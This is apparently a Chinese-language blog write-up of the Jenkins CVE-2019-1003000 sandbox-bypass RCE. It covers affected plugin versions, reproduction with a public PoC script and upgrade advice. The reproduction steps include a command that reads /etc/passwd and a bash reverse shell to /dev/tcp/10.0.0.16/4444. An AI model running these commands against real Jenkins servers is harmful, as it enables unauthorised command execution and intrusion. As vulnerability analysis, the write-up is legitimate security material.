Jenkins漏洞利用实战:CVE-2019-1003000 RCE漏洞分析

本文详细分析了Jenkins CVE-2019-1003000漏洞的利用过程,该漏洞存在于Script Security插件中,允许具有基本权限的用户绕过沙箱限制执行任意命令,文章包含完整的漏洞复现步骤和PoC代码分析。

Jenkins漏洞利用实战:CVE-2019-1003000

在Orange Tsai发布Jenkins漏洞利用后,我对相关漏洞进行了深入研究。虽然预认证RCE是大家最关注的,但本文重点分析的是CVE-2019-1003000这个后认证漏洞。

漏洞背景

该漏洞影响以下插件版本:

  • Pipeline: Declarative Plugin < 1.3.4.1
  • Pipeline: Groovy Plugin < 2.61.1
  • Script Security Plugin < 1.50

关键点在于,攻击者只需要具备以下权限即可利用:

  • Overall/Read权限
  • Job/Configure权限
  • 不需要Script Console权限

漏洞复现

  1. 环境确认
1
2
3
$ java -jar jenkins-cli.jar -s http://10.0.0.166:8080/ -auth admin:admin list-plugins
...
script-security 1.49 (存在漏洞版本)
  1. 使用公开PoC
1
2
3
4
5
python2.7 exploit.py --url http://localhost:8080 \
  --job my-pipeline \
  --username user1 \
  --password user1 \
  --cmd "cat /etc/passwd"
  1. 获取反向Shell
1
2
3
4
5
python2.7 exploit.py --url http://localhost:8080 \
  --job my-pipeline \
  --username user1 \
  --password user1 \
  --cmd "bash -i >& /dev/tcp/10.0.0.16/4444 0>&1"

技术原理

漏洞利用的是Groovy沙箱绕过技术:

  1. 攻击者通过修改构建脚本注入恶意代码
  2. 利用Jenkins管道特性绕过沙箱限制
  3. 最终在Jenkins master节点上执行任意系统命令

防御建议

  1. 立即升级以下插件:

    • Script Security Plugin ≥ 1.50
    • Pipeline: Groovy Plugin ≥ 2.61.1
    • Pipeline: Declarative Plugin ≥ 1.3.4.1
  2. 遵循最小权限原则,严格控制Job/Configure权限

  3. 监控异常构建任务和系统命令执行

完整PoC代码参考:adamyordan/cve-2019-1003000-jenkins-rce-poc

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计